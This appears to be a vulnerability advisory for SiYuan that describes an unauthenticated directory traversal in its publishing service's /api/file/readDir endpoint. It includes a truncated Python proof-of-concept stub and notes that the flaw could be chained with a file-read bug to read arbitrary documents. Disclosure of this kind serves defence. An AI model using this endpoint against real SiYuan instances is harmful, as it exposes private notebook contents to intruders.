Description

SiYuan has directory traversal within its publishing service

Details

The /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.

PoC

#!/usr/bin/env python3
"""POC: SiYuan /api/file/readDir 未鉴权目录遍历"""
import requests, json, sys

def poc(target):
    base = target.rstrip("/")
    url = f"{base}/api/file/readDir"
...
Show more

Impact

Directory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.

资源文件夹

插件文件夹

conf文件夹

Mitigation

Aliases

References